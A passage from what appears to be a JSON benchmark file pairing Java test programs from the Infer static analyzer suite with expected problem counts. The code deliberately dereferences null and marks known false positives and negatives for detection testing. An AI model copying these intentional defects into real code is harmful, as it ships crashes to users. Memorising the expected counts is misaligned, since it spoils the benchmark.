requiresFurtherInvestigationOk(List people) {\n people.stream().filter(p -> getClassByName(p).equals(\"Student\") && p instanceof Student);\n }\n}\n" + }, + { + "testname": "IntegerExample.java", + "testlanguage": "java", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class IntegerExample {\n\n private static void testIntegerEqualsMethodGood() {\n Integer a = new Integer(42);\n Integer b = new Integer(42);\n Integer c = null;\n\n if (!a.equals(b)) {\n c.intValue();\n }\n }\n\n private static void testIntegerEqualsMethodBad() {\n Integer a = new Integer(42);\n Integer b = new Integer(42);\n Integer c = null;\n\n if (a.equals(b)) {\n c.intValue();\n }\n }\n\n /*\n * Assignments of the form Integer a = n triggers the method valueOf.\n * The valueOf method caches values between -128 and 127 (inclusive).\n */\n private static void FP_testIntegerBuiltInEqualOperatorCachedValuesOk() {\n Integer a = new Integer(42);\n Integer b = 127;\n Integer c = 127;\n Integer d = null;\n\n if (a != 42) {\n d.intValue();\n }\n\n if (b != 127) {\n d.intValue();\n }\n\n /* This is wrong according to the semantics of valueOf.\n * (b==c should hold in this case as 127 is in the cache interval)\n */\n\n if (b != c) {\n d.intValue();\n }\n }\n\n /*\n * Assignments of the form Integer a = n triggers the method valueOf.\n * The valueOf method caches values between -128 and 127 (inclusive).\n */\n private static void testIntegerBuiltInEqualOperatorNonCachedValuesBad() {\n Integer a = 128;\n Integer b = 128;\n Integer c = null;\n\n // This is correct (a!=b should hold in this case as 128 is out of the cached interval)\n if (a != b) {\n c.intValue();\n }\n }\n\n private static void testIntegerEqualsMethodMaxValueBad() {\n Integer a = new Integer(2147483647);\n Integer b = new Integer(2147483647);\n Integer c = null;\n\n if (a.equals(b)) {\n c.intValue();\n }\n }\n\n private static void testIntegerBuiltInEqualOperatorMaxValueOk() {\n Integer a = new Integer(2147483647);\n Integer b = null;\n\n if (a != 2147483647) {\n b.intValue();\n }\n }\n}\n" + }, + { + "testname": "InterExceptions.java", + "testlanguage": "java", + "expected-problems": 39, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nclass D extends Exception {\n D(int data) {\n this.data = data;\n }\n\n int data;\n}\n\npublic class InterExceptions {\n\n /*\n g conditionally throws an exception, which is caught by the caller.\n */\n private static int g(int x) throws D {\n if (x < 0) {\n throw new D(x);\n }\n return x + 22;\n }\n\n /*\n caller_of_g(x) ==\n x - 10 if x < 10\n x + 12 if x >= 10\n */\n private static int caller_of_g(int x) {\n try {\n return g(x - 10);\n } catch (D d) {\n return d.data;\n }\n }\n\n private static void testInterExceptions1Bad() {\n Integer my_null_int = null;\n if (caller_of_g(100) == 112) {\n my_null_int.intValue();\n }\n }\n\n private static void testInterExceptions1Good() {\n Integer my_null_int = null;\n if (caller_of_g(100) != 112) {\n my_null_int.intValue();\n }\n }\n\n private static void testInterExceptions2Bad() {\n Integer my_null_int = null;\n if (caller_of_g(0) == -10) {\n my_null_int.intValue();\n }\n }\n\n private static void testInterExceptions2Good() {\n Integer my_null_int = null;\n if (caller_of_g(0) != -10) {\n my_null_int.intValue();\n }\n }\n\n /*\n thrower unconditionally throws an exception, which is caught by the caller.\n */\n private static int thrower(int x) throws D {\n throw new D(x);\n }\n\n /*\n caller_of_thrower(x) == x + 23\n */\n private static int caller_of_thrower(int x) {\n try {\n return thrower(x + 23);\n } catch (D d) {\n return d.data;\n }\n }\n\n private static void testInterExceptions3Bad() {\n Integer my_null_int = null;\n if (caller_of_thrower(10) == 33) {\n my_null_int.intValue();\n }\n }\n\n private static void testInterExceptions3Good() {\n Integer my_null_int = null;\n if (caller_of_thrower(10) != 33) {\n my_null_int.intValue();\n }\n }\n}\n" + }, + { + "testname": "IntraExceptions.java", + "testlanguage": "java", + "expected-problems": 26, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nclass E extends Exception {\n E(int data) {\n this.data = data;\n }\n\n int data;\n}\n\npublic class IntraExceptions {\n\n // intra-exceptions #1\n /*\n try block conditionally throws an exception that is caught by the\n catch block.\n */\n private static int intra_exceptions_1(int x) {\n try {\n int y = x + 10;\n if (y < 0) throw new E(y);\n return 10;\n } catch (E e) {\n return e.data;\n }\n }\n\n private static void testIntraExceptions1Bad() {\n Integer my_null_int = null;\n if (intra_exceptions_1(-100) == -90) {\n my_null_int.intValue();\n }\n }\n\n private static void testIntraExceptions1Good() {\n Integer my_null_int = null;\n if (intra_exceptions_1(-100) == 0) {\n my_null_int.intValue();\n }\n }\n\n // intra-exceptions #2\n /*\n try block unconditionally throws an exception that is caught by the catch block.\n */\n private static int intra_exceptions_2(int x) {\n try {\n throw new E(x + 22);\n } catch (E e) {\n return e.data;\n }\n }\n\n private static void testIntraExceptions2Bad() {\n Integer my_null_int = null;\n if (intra_exceptions_2(10) == 32) {\n my_null_int.intValue();\n }\n }\n\n private static void testIntraExceptions2Good() {\n Integer my_null_int = null;\n if (intra_exceptions_2(10) == 0) {\n my_null_int.intValue();\n }\n }\n}\n" + }, + { + "testname": "InvokeDynamic.java", + "testlanguage": "java", + "expected-problems": 30, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.function.BiFunction;\nimport java.util.function.Function;\n\npublic class InvokeDynamic {\n\n void invokeDynamicThenNpeBad(List list) {\n Object o = null;\n Collections.sort(\n list,\n (String a, String b) -> {\n return b.compareTo(a);\n });\n o.toString();\n }\n\n void npeInLambdaBad(List list) {\n Collections.sort(\n list,\n (String a, String b) -> {\n Object o = null;\n o.toString();\n return b.compareTo(a);\n });\n }\n\n // we still don't get this one (even with Javalib lambda rewriting)\n // because Collections.sort is skipped\n void FN_npeViaCaptureBad(List list) {\n String s = null;\n Collections.sort(\n list,\n (String a, String b) -> {\n return s.compareTo(a);\n });\n }\n\n Integer npeViaSimpleCapture() {\n String s = null;\n Function f = (s1) -> s.length();\n return f.apply(null);\n }\n\n Integer npeViaSimpleParamPassing() {\n Function f = (s) -> s.length();\n return f.apply(null);\n }\n\n static class A {\n int val;\n }\n\n static class Fun1 {\n Function f1;\n\n Fun1(Function f1) {\n this.f1 = f1;\n }\n }\n\n static class Fun2 {\n Fun1 f2;\n\n Fun2(Fun1 f2) {\n this.f2 = f2;\n }\n }\n\n static class Box {\n A a;\n\n public Box(A a) {\n this.a = a;\n }\n\n public Box map(Function f) {\n return new Box(f.apply(this.a));\n }\n\n public Box mapWithFun(Fun2 fun) {\n return new Box(fun.f2.f1.apply(this.a));\n }\n }\n\n public static A mix(A a1, A a2) {\n if (a1 == null && a2 == null) return null;\n else return new A();\n }\n\n // this one uses abduction\n public static A sum(A a1, A a2) {\n A a = new A();\n a.val = a1.val + a2.val;\n return a;\n }\n\n int testBoxMapMixBad() {\n A a0 = null;\n Box b = new Box(null);\n Function f = (a) -> mix(a0, a);\n return b.map(f).a.val;\n }\n\n int testBoxMapMixGood(A a0) {\n Box b = new Box(new A());\n Function f = (a) -> mix(a0, a);\n return b.map(f).a.val;\n }\n\n int testBoxMapSum1Bad(A a0) {\n Box b = new Box(null);\n Function f = (a) -> sum(a0, a);\n return b.map(f).a.val;\n }\n\n int testBoxMapSum2Bad(A a1) {\n Box b = new Box(a1);\n Function f = (a) -> sum(null, a);\n return b.map(f).a.val;\n }\n\n int testBoxMapSumGood() {\n Box b = new Box(new A());\n A a0 = new A();\n Function f = (a) -> sum(a0, a);\n return b.map(f).a.val;\n }\n\n // closure in a field\n int testBoxMapFunMixBad() {\n A a0 = null;\n Box b = new Box(null);\n Function f = (a) -> mix(a0, a);\n return b.mapWithFun(new Fun2(new Fun1(f))).a.val;\n }\n\n int testBoxMapFunMixGood(A a0) {\n Box b = new Box(new A());\n Function f = (a) -> mix(a0, a);\n return b.mapWithFun(new Fun2(new Fun1(f))).a.val;\n }\n\n // nested closure\n Box testBoxMapAuxiliaryGood(A a0, Box b, BiFunction f) {\n Function g = (a) -> f.apply(a0, a);\n return b.map(g);\n }\n\n int testBoxMapUseAuxiliaryBad() {\n A a0 = null;\n Box b = new Box(null);\n BiFunction f = (a1, a2) -> mix(a1, a2);\n return testBoxMapAuxiliaryGood(a0, b, f).a.val;\n }\n\n int testBoxMapUseAuxiliaryGood(A a0) {\n Box b = new Box(new A());\n BiFunction f = (a1, a2) -> mix(a1, a2);\n return testBoxMapAuxiliaryGood(a0, b, f).a.val;\n }\n}\n" + }, + { + "testname": "JunitAssertion.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport static junit.framework.Assert.assertFalse;\nimport static junit.framework.Assert.assertTrue;\n\npublic class JunitAssertion {\n class A {\n public void f() {}\n }\n\n // need model\n public void FP_consistentAssertionOk(A a) {\n assertTrue(a != null);\n a.f();\n }\n\n public void inconsistentAssertionBad(A a) {\n assertFalse(\"Should not happen!\", a != null);\n a.f();\n }\n}\n" + }, + { + "testname": "Lists.java", + "testlanguage": "java", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.util.*;\n\nclass Lists {\n\n void emptyRemembersOk(List l) {\n boolean empty = l.isEmpty();\n Object o = null;\n if (empty != l.isEmpty()) {\n o.toString();\n }\n }\n\n void removeInvalidatesNonEmptinessNPEBad(List l) {\n l.removeAll(l);\n Object o = null;\n if (l.isEmpty()) {\n o.toString();\n }\n }\n\n void clearCausesEmptinessNPEBad(List l) {\n l.clear();\n Object o = null;\n if (l.isEmpty()) {\n o.toString();\n }\n }\n\n // it would be too noisy to report here\n void plainGetOk(List l, int i) {\n l.get(i).toString();\n }\n\n Object getElement(List l) {\n return l.isEmpty() ? null : l.get(0);\n }\n\n void getElementOk(List l) {\n if (l.isEmpty()) {\n return;\n }\n getElement(l).toString();\n }\n\n void getElementNPEBad() {\n List l = new ArrayList();\n if (!l.isEmpty()) {\n return;\n }\n getElement(l).toString();\n }\n\n void getElementOk() {\n List l = new ArrayList();\n if (!l.isEmpty()) {\n Object o = null;\n o.toString();\n }\n }\n\n void addInvalidatesEmptinessNPEBad(List l) {\n l.add(0, new Object());\n Object o = null;\n if (!l.isEmpty()) {\n o.toString();\n }\n }\n\n void addAndRemoveEmptinessNPEBad() {\n List l = new ArrayList();\n Integer i = new Integer(1);\n l.add(i);\n l.remove(i);\n if (l.isEmpty()) {\n getElement(l).toString();\n }\n }\n\n void FP_removeOnEmptyListOk() {\n List l = new LinkedList();\n Object removed = l.remove(0);\n if (removed != null) {\n getElement(l).toString();\n }\n }\n\n void removeElementBad() {\n List l = new LinkedList();\n Integer i = new Integer(4);\n l.add(i);\n boolean removed = l.remove(i);\n if (removed) {\n Object o = null;\n o.toString();\n }\n }\n}\n" + }, + { + "testname": "NeverNullSource.java", + "testlanguage": "java", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// _AUTOMATICALLY_GENERATED_\n\npackage codetoanalyze.java.infer;\n\nimport javax.annotation.Nullable;\n\npublic class NeverNullSource {\n\n @Nullable T t;\n\n T get() {\n return t == null ? null : t;\n }\n}\n" + }, + { + "testname": "NullPointerExceptions.java", + "testlanguage": "java", + "expected-problems": 172, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport android.annotation.SuppressLint;\nimport android.content.ContentResolver;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.text.TextUtils;\nimport com.facebook.infer.annotation.Assertions;\nimport com.google.common.base.Optional;\nimport com.google.common.base.Preconditions;\nimport com.google.common.collect.ImmutableList;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.FileLock;\nimport java.util.HashMap;\nimport java.util.concurrent.locks.Lock;\nimport javax.annotation.Nonnull;\nimport javax.annotation.Nullable;\n\npublic class NullPointerExceptions {\n\n class A {\n int x;\n\n int thisNotNullOk() {\n if (this == null) {\n A a = null;\n return a.x;\n }\n return 0;\n }\n\n int thisNotNullBad() {\n if (this != null) {\n A a = null;\n return a.x;\n }\n return 0;\n }\n\n public void method() {}\n }\n\n // npe local with field\n public int nullPointerException() {\n A a = null;\n return a.x;\n }\n\n public A canReturnNullObject(boolean ok) {\n A a = new A();\n if (ok) return a;\n else return null;\n }\n\n public static void expectNotNullObjectParameter(A a) {\n a.method();\n }\n\n public static void expectNotNullArrayParameter(A[] array) {\n array.clone();\n }\n\n // npe with branching, interprocedural\n public int nullPointerExceptionInterProc() {\n A a = canReturnNullObject(false);\n return a.x;\n }\n\n // npe with exception handling\n public int nullPointerExceptionWithExceptionHandling(boolean ok) {\n A a = null;\n try {\n throw new Exception();\n } catch (Exception e) {\n return a.x;\n }\n }\n\n class B {\n A a;\n\n public B() {}\n\n public B(A a) {\n this.a = a;\n }\n\n void test() {}\n }\n\n public static int nullPointerExceptionWithArray() {\n A[] array = new A[] {null};\n A t = array[0];\n return t.x;\n }\n\n // npe with a chain of fields\n class C {\n B b;\n }\n\n public int FN_nullPointerExceptionWithNullByDefaultBad(C c) {\n return (new B()).a.x;\n }\n\n public int nullPointerExceptionWithExplicitNullInitBad(C c) {\n return (new B(null)).a.x;\n }\n\n public int FN_nullPointerExceptionWithAChainOfFields(C c) {\n c.b = new B();\n return c.b.a.x;\n }\n\n // npe with a null object parameter\n public static void nullPointerExceptionWithNullObjectParameter() {\n expectNotNullObjectParameter(null);\n }\n\n // npe with a null array parameter\n public static void nullPointerExceptionWithNullArrayParameter() {\n expectNotNullArrayParameter(null);\n }\n\n public static void nullPointerExceptionFromFaillingResourceConstructor() throws IOException {\n FileInputStream fis = null;\n try {\n fis = new FileInputStream(new File(\"whatever.txt\"));\n } catch (IOException e) {\n } finally {\n fis.close();\n }\n }\n\n public static void nullPointerExceptionFromFailingFileOutputStreamConstructor()\n throws IOException {\n FileOutputStream fos = null;\n try {\n fos = new FileOutputStream(new File(\"whatever.txt\"));\n } catch (IOException e) {\n } finally {\n fos.close();\n }\n }\n\n int x;\n\n public void nullPointerExceptionFromNotKnowingThatThisIsNotNull() {\n if (this == null) {}\n this.x = 4;\n }\n\n public T id_generics(T o) {\n o.toString();\n return o;\n }\n\n public A frame(A x) {\n return id_generics(x);\n }\n\n public void nullPointerExceptionUnlessFrameFails() {\n String s = null;\n Object a = frame(new A());\n if (a instanceof A) {\n s.length();\n }\n }\n\n class D {\n int x;\n }\n\n public int preconditionCheckStateTest(D d) {\n Preconditions.checkState(d != null);\n return d.x;\n }\n\n public void genericMethodSomewhereCheckingForNull(String s) {\n if (s == null) {}\n }\n\n public void noNullPointerExceptionAfterSkipFunction() {\n String t = new String(\"Hello!\");\n String s = t.toString();\n genericMethodSomewhereCheckingForNull(s);\n s.length();\n }\n\n String hashmapNPE(HashMap h, Object o) {\n return (h.get(o).toString());\n }\n\n String NPEhashmapProtectedByContainsKey(HashMap h, Object o) {\n if (h.containsKey(o)) {\n return (h.get(o).toString());\n }\n return \"aa\";\n }\n\n int NPEvalueOfFromHashmapBad(HashMap h, int position) {\n return h.get(position);\n }\n\n Integer NPEvalueOfFromHashmapGood(HashMap h, int position) {\n return h.get(position);\n }\n\n void nullPointerExceptionInArrayLengthLoop(Object[] arr) {\n for (int i = 0; i < arr.length; i++) {\n Object x = null;\n x.toString();\n }\n }\n\n Context mContext;\n ContentResolver mContentResolver;\n\n public void cursorFromContentResolverNPE(String customClause) {\n String[] projection = {\"COUNT(*)\"};\n String selectionClause = selectionClause = customClause;\n Cursor cursor =\n mContext.getContentResolver().query(null, projection, selectionClause, null, null);\n cursor.close();\n }\n\n public int cursorQueryShouldNotReturnNull(SQLiteDatabase sqLiteDatabase) {\n Cursor cursor = sqLiteDatabase.query(\"events\", null, null, null, null, null, null);\n try {\n return cursor.getCount();\n } finally {\n cursor.close();\n }\n }\n\n Object[] arr = new Object[1];\n\n Object arrayReadShouldNotCauseSymexMemoryError(int i) {\n arr[i].toString();\n return null;\n }\n\n void nullPointerExceptionCallArrayReadMethod() {\n arr[0] = new Object();\n arrayReadShouldNotCauseSymexMemoryError(0).toString();\n }\n\n public void sinkWithNeverNullSource() {\n NeverNullSource source = new NeverNullSource();\n T t = source.get();\n t.f();\n }\n\n public void otherSinkWithNeverNullSource() {\n SomeLibrary source = new SomeLibrary();\n T t = source.get();\n t.f();\n }\n\n private @Nullable Object mFld;\n\n void FN_nullableFieldNPE() {\n mFld.toString();\n }\n\n void guardedNullableFieldDeref() {\n if (mFld != null) mFld.toString();\n }\n\n void allocNullableFieldDeref() {\n mFld = new Object();\n mFld.toString();\n }\n\n void nullableParamNPE(@Nullable Object param) {\n param.toString();\n }\n\n void guardedNullableParamDeref(@Nullable Object param) {\n if (param != null) param.toString();\n }\n\n void allocNullableParamDeref(@Nullable Object param) {\n param = new Object();\n param.toString();\n }\n\n native boolean test1();\n\n native boolean test2();\n\n Object getObj() {\n if (test1()) {\n return new Object();\n } else {\n return null;\n }\n }\n\n Boolean getBool() {\n if (test2()) {\n return new Boolean(true);\n } else {\n return null;\n }\n }\n\n void derefGetterAfterCheckShouldNotCauseNPE() {\n if (getObj() != null) {\n getObj().toString();\n }\n }\n\n void derefBoxedGetterAfterCheckShouldNotCauseNPE() {\n boolean b = getBool() != null && getBool();\n }\n\n static void derefNonThisGetterAfterCheckShouldNotCauseNPE() {\n NullPointerExceptions c = new NullPointerExceptions();\n if (c.getObj() != null) {\n c.getObj().toString();\n }\n }\n\n // latent because we don't know if test1() can return \"true\"\n // arguably should be reported?\n void badCheckShouldCauseNPE_latent() {\n if (getBool() != null) {\n getObj().toString();\n }\n }\n\n void nullPointerExceptionArrayLength() {\n Object[] arr = null;\n int i = arr.length;\n }\n\n class $$Class$Name$With$Dollars {\n void npeWithDollars() {\n String s = null;\n int n = s.length();\n }\n }\n\n void nullableNonNullStringAfterTextUtilsIsEmptyCheckShouldNotCauseNPE(@Nullable String str) {\n if (!TextUtils.isEmpty(str)) {\n str.length();\n }\n }\n\n void someNPEAfterResourceLeak() {\n T t = CloseableAsResourceExample.sourceOfNullWithResourceLeak();\n t.f();\n }\n\n private Object mOkObj = new Object();\n\n public void nullableParamReassign1(@Nullable Object o) {\n if (o == null) {\n o = mOkObj;\n }\n o.toString();\n }\n\n public void nullableParamReassign2(@Nullable Object o, Object okObj) {\n if (o == null) {\n o = okObj;\n }\n o.toString();\n }\n\n private @Nullable Object mNullableField;\n\n public void nullableFieldReassign1() {\n if (mNullableField == null) {\n mNullableField = mOkObj;\n }\n mNullableField.toString();\n }\n\n public void nullableFieldReassign2(Object okObj) {\n if (mNullableField == null) {\n mNullableField = okObj;\n }\n mNullableField.toString();\n }\n\n public void nullableFieldReassign3(Object param) {\n mNullableField = param;\n mNullableField.toString();\n }\n\n public Object nullableGetter() {\n return mNullableField;\n }\n\n public void FN_derefNullableGetter() {\n Object o = nullableGetter();\n o.toString();\n }\n\n public @Nullable Object nullableRet(boolean b) {\n if (b) {\n return null;\n }\n return new Object();\n }\n\n public void derefNullableRet(boolean b) {\n Object ret = nullableRet(b);\n ret.toString();\n }\n\n public void derefNullableRetOK(boolean b) {\n Object ret = nullableRet(b);\n if (ret != null) {\n ret.toString();\n }\n }\n\n public native @Nullable Object undefNullableRet();\n\n public void derefUndefNullableRet() {\n Object ret = undefNullableRet();\n ret.toString();\n }\n\n public void derefUndefNullableRetOK() {\n Object ret = undefNullableRet();\n if (ret != null) {\n ret.toString();\n }\n }\n\n void assumeUndefNullableIdempotentOk() {\n if (undefNullableRet() != null) {\n undefNullableRet().toString();\n }\n }\n\n public Object undefNullableWrapper() {\n return undefNullableRet();\n }\n\n public void derefUndefNullableRetWrapper() {\n undefNullableWrapper().toString();\n }\n\n private int returnsThreeOnlyIfRetNotNull(Object obj) {\n if (obj == null) {\n return 2;\n }\n return 3;\n }\n\n public void testNullablePrecision() {\n Object ret = undefNullableRet();\n if (returnsThreeOnlyIfRetNotNull(ret) == 3) {\n ret.toString(); // shouldn't warn here\n }\n }\n\n public @Nullable String FN_testSystemGetPropertyArgument() {\n String s = System.getProperty(null);\n return s;\n }\n\n public void FN_testSystemGetPropertyReturn() {\n String s = System.getProperty(\"\");\n int n = s.length();\n }\n\n Object retUndefined() {\n return \"\".toString(); // toString is a skip function\n }\n\n Object derefUndefinedCallee() {\n // if retUndefined() is handled incorrectly, we get a symexec_memory_error here\n retUndefined().toString();\n return null;\n }\n\n void derefNull() {\n // should be NPE, but will not be reported if we handled retUndefined() incorrectly\n derefUndefinedCallee().toString();\n }\n\n @SuppressLint(\"NULL_DEREFERENCE\")\n void shouldNotReportNPE() {\n Object o = null;\n o.toString();\n }\n\n void shouldNotReportOnSkippedSource() {\n Object o = SkippedSourceFile.createdBySkippedFile();\n o.toString();\n }\n\n int nullListFiles(String pathname) {\n File dir = new File(pathname);\n File[] files = dir.listFiles();\n return files.length; // expect possible NullPointerException as files == null is possible\n }\n\n native Object unknownFunc();\n\n void nullDerefernceReturnOfSkippedFunctionBad() {\n Object object = unknownFunc();\n if (object == null) {\n object.toString();\n }\n }\n\n native @Nonnull Object doesNotReturnNull();\n\n void FP_noNPEWhenCallingSkippedNonnullAnnotatedMethodGood() {\n Object object = doesNotReturnNull();\n if (object == null) {\n object.toString();\n }\n }\n\n Object callUnknownFunc() {\n return unknownFunc();\n }\n\n void dontReportOnNullableDirectReassignmentToUnknown(@Nullable Object o) {\n o = unknownFunc();\n o.toString();\n }\n\n void dontReportOnNullableIndirectReassignmentToUnknown(@Nullable Object o) {\n o = callUnknownFunc();\n o.toString();\n }\n\n @Nullable\n Object wrapUnknownFuncWithNullable() {\n return unknownFunc();\n }\n\n void deferenceNullableMethodCallingSkippedMethodBad() {\n wrapUnknownFuncWithNullable().toString();\n }\n\n String nullTryLock(FileChannel chan) throws IOException {\n FileLock lock = chan.tryLock();\n return lock.toString(); // expect possible NullPointerException as lock == null is possible\n }\n\n String tryLockThrows(FileChannel chan) {\n try {\n FileLock lock = chan.tryLock();\n return (lock != null ? lock.toString() : \"\");\n } catch (IOException e) {\n Object o = null;\n return o.toString(); // expect NullPointerException as tryLock can throw\n }\n }\n\n class L {\n L next;\n }\n\n Object returnsNullAfterLoopOnList(L l) {\n while (l != null) {\n l = l.next;\n }\n return null;\n }\n\n void FN_dereferenceAfterLoopOnList(L l) {\n Object obj = returnsNullAfterLoopOnList(l);\n obj.toString();\n }\n\n void dereferenceAfterUnlock1(Lock l) {\n l.unlock();\n String s = l.toString();\n s = null;\n s.toString(); // Expect NPE here\n }\n\n void dereferenceAfterUnlock2(Lock l) {\n synchronized (l) {\n String b = null;\n }\n String s = l.toString();\n s = null;\n s.toString(); // Expect NPE here\n }\n\n void optionalNPE(Optional o) {\n o.orNull().toString();\n }\n\n void FP_stringConstantEqualsTrueNotNPE() {\n final String c1 = \"Test string!\";\n final String c2 = \"Test string!\";\n String s = null;\n if (c1.equals(c1)) {\n s = \"safe\";\n }\n s.toString(); // No NPE\n s = null;\n if (c1.equals(c2)) {\n s = \"safe\";\n }\n s.toString(); // No NPE\n }\n\n void stringConstantEqualsFalseNotNPE_FP() {\n // This won't actually cause an NPE, but our current model for String.equals\n // returns boolean_undefined for all cases other than String constant\n // equality. Consider handling constant inequality in the future.\n final String c1 = \"Test string 1\";\n final String c2 = \"Test string 2\";\n String s = null;\n if (!c1.equals(c2)) {\n s = \"safe\";\n }\n s.toString(); // No NPE\n }\n\n String getString2() {\n return \"string 2\";\n }\n\n void stringVarEqualsFalseNPE() {\n final String c1 = \"Test string 1\";\n String c2 = \"Test \" + getString2();\n String s = null;\n if (!c1.equals(c2)) {\n s.toString(); // NPE\n }\n }\n\n String assertParameterNotNullableOk(@Nullable Object object) {\n return Assertions.assertNotNull(object).toString();\n }\n\n interface I {\n @Nullable Object mObject = null;\n }\n\n class E implements I {\n\n void FN_dereferenceNullableInterfaceFieldBad() {\n mObject.toString();\n }\n }\n\n Object getObject() {\n return null;\n }\n\n void FN_addNullToImmutableListBuilderBad() {\n ImmutableList.Builder listBuilder = ImmutableList.builder();\n listBuilder.add(getObject());\n }\n\n void incr_deref(A a1, A a2) {\n a1.x++;\n a2.x++;\n }\n\n void call_incr_deref_with_alias_bad() {\n A a = new A();\n a.x = 0;\n incr_deref(a, a);\n if (a.x == 2) {\n a = null;\n }\n a.x = 0;\n }\n\n void call_incr_deref_with_alias_Ok() {\n A a = new A();\n a.x = 0;\n incr_deref(a, a);\n if (a.x != 2) {\n a = null;\n }\n a.x = 0;\n }\n\n // An other example wich require alias specialization, but with interfering calls\n // with and without alias\n void incr_deref2(A a1, A a2) {\n a1.x++;\n a2.x++;\n }\n\n void call_incr_deref2_bad() {\n A a = new A();\n A a1 = new A();\n A a2 = new A();\n a.x = 0;\n a1.x = 0;\n a2.x = 0;\n incr_deref2(a, a);\n incr_deref2(a1, a2);\n if (a1.x == 1 && a2.x == 1 && a.x == 2) {\n a1 = null;\n }\n a1.x = 0;\n }\n\n void call_incr_deref2_Ok() {\n A a = new A();\n A a1 = new A();\n A a2 = new A();\n a.x = 0;\n a1.x = 0;\n a2.x = 0;\n incr_deref2(a, a);\n incr_deref2(a1, a2);\n if (!(a1.x == 1 && a2.x == 1 && a.x == 2)) {\n a1 = null;\n }\n a1.x = 0;\n }\n\n // An other example wich require multiple alias specializations\n void incr_deref3(A a1, A a2, A a3) {\n a1.x++;\n }\n\n void call_incr_deref3_bad() {\n A a1 = new A();\n A a2 = new A();\n A a3 = new A();\n incr_deref3(null, null, null);\n }\n\n interface AFunction {\n void run(A a);\n }\n\n // need combination of alias specialization and dynamic type specialization\n void test_capture_alias_bad() {\n A a = new A();\n a.x = 0;\n AFunction incr_deref =\n (a2) -> {\n a.x++;\n a2.x++;\n };\n incr_deref.run(a);\n A b = a;\n if (a.x == 2) {\n b = null;\n }\n b.x = 0;\n }\n\n void test_capture_alias_good() {\n A a = new A();\n a.x = 0;\n AFunction incr_deref =\n (a2) -> {\n a.x++;\n a2.x++;\n };\n incr_deref.run(a);\n A b = a;\n if (a.x != 2) {\n b = null;\n }\n b.x = 0;\n }\n}\n" + }, + { + "testname": "NullPointerExceptionsMoreTests.java", + "testlanguage": "java", + "expected-problems": 25, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/*\n * checking for false positives and false negatives for infer\n * reporting on NuppPoint exceptions\n */\n\npackage codetoanalyze.java.infer;\n\nclass A {\n int i;\n}\n\npublic class NullPointerExceptionsMoreTests {\n\n int testNullStringDereferencedBad() {\n String s = new String(\"abc\");\n int j = s.length();\n s = null;\n j = j + s.length();\n return 42;\n }\n\n int testBrachesAvoidNullPointerExceptionOK(int k) {\n String s = new String(\"abc\");\n int j = 100;\n if (k > 10) {\n s = null; /* DANGER? */\n }\n if (k == 10) {\n /* looks as if infer realizes that when k==10,\n we arrived here without executing the DANGER? branch,\n and s is guaranteed not to be null */\n j = s.length();\n }\n return j;\n }\n\n int FN_testParameterRec(A arg, int k) {\n /* should have inferrred the precondition that\n a =/= null\n and then should have seen that the recursive call\n does not satisfy that precondition */\n arg.i = 17;\n if (k > 0) {\n return this.FN_testParameterRec(null, k - 1);\n } else {\n return 430;\n }\n }\n\n int FN_testParameterRecBool(A arg, boolean b) {\n /* should have inferrred the precondition that\n arg =/= null\n and then should have seen that the recursive call\n does not satisfy it */\n arg.i = 17;\n if (b) {\n return this.FN_testParameterRecBool(null, false);\n } else {\n return 430;\n }\n }\n\n void testParameterOk(A arg) {\n /* this is not an error for infer,\n because it infers that precondition is arg=/=null */\n arg.i = 17;\n }\n\n int testArithmeticOk(int k) {\n /* error cannot happen due to arithmetic argument */\n String s = new String(\"abc\");\n int j = 100;\n if (k > 10) {\n s = null; /* DANGER? */\n }\n if (k <= 10) {\n\n /* infer does deduce that ik k>10 then NOT(k<=10), and\n and therefore this branch will be taken only\n if DANGER? was not */\n j = s.length();\n }\n return j;\n }\n\n int testArithmeticOneOK(int k) {\n /* error cannot happen due to arithmetic argument */\n String s = new String(\"abc\");\n int j = 100;\n if (k > 10) {\n s = null; /* DANGER? */\n }\n if ((2 * k) == 20) {\n /* infer does deduce that ik k>10 then 2*k =/=20, and\n and therefore this branch will be taken only\n if DANGER? was not executed */\n j = s.length();\n }\n return j;\n }\n\n int f_ident(int k) {\n return k;\n }\n\n int FP_testArithmeticTwo(int k) {\n /* error cannot happen due to arithmetic argument, but infer\n does not see that */\n String s = new String(\"abc\");\n int j = 100;\n if (k > 10) {\n s = null; /* DANGER? */\n }\n if ((f_ident(k)) <= 10) {\n\n /* looks as if infer does not realize that if k>10\n then NOT(f_ident(k)<=1o) and therefore we arrived here without executing\n the DANGER? branch, and therefore\n s is guaranteed not to 